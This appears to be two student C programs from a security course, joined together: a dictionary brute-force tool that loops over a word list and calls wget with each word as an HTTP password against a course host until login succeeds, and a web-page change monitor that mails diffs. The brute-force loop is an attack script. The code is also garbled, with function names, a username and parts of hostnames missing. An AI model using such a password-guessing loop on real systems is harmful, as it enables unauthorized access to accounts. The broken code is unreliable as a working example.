
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <strings.h>
# include <sys/time.h>

int ()
{

	char s[30];
	char c[100];
	char usr[50];
	char url[100];
	char charcopy[200];
	
	int starting,ending;							
	int totaltime;

	FILE* fp;
	FILE* f;
		
	int i,j,k;
			
	fp = fopen("/usr/share/lib/dict/words","r");					
	strcpy(charcopy, "wget --http-user= --http-passwd=");			
	strcpy(url, "-nv -o logfile1 http://sec-crack.cs.rmit.edu./SEC/2/");		
	
	starting=time();								

	
	while(!feof(fp))
	{
		j=40;
		fgets(c,30,fp);								
		
			
		for(i=0;i<strlen(c);i++)						
		{
			charcopy[j]=c[i];
			j++;
		}
		charcopy[j-1] = ' ';
		
		for(i=0;i<strlen(url);i++)						
		{
			charcopy[j]=url[i];						
			j++;
		}
		
		charcopy[j] = '\0';

		printf("%s\n",c);
		system(charcopy);
			
		f = fopen("logfile1","r");						
		
		if(f != (FILE*) NULL)
		{
		
			fgets(s,30,f);							
			if(strcmp(s,"Authorization failed.\n")!=0)			
			{
				ending=time();
				totaltime=ending-starting;				
				totaltime=totaltime/1000000000;
				totaltime=totaltime/60;
	
				printf("Time taken  break the password is %lld\n",totaltime);       
				exit(0);
			}
		}
			
		fclose(f);
	} 
	
	fclose(fp);
	
	
	return 1;
}


#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
int flag=1;
const char delimiter[]=" \n\t";
FILE *fp1;
char line1[100];
char filename1[50];
char *token;

while(1)
{
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test1");
sleep(3600);
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test2");
system("diff test1 test2 >test3");
system("file test3 >test4"); 
strcpy(filename1,"test4");
if((fp1=fopen(filename1,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
fgets(line1,sizeof(line1),fp1);
token=strtok(line1,delimiter);
        while(token!=NULL)
                {
if(strcmp(token,"empty")==0)
{
printf(" CHANGES\n");
flag=0;

}
token=strtok(NULL,delimiter);

                 }
if(flag==1)
{
system("mail  < test3");
}
fclose(fp1);
}
return(0);
}
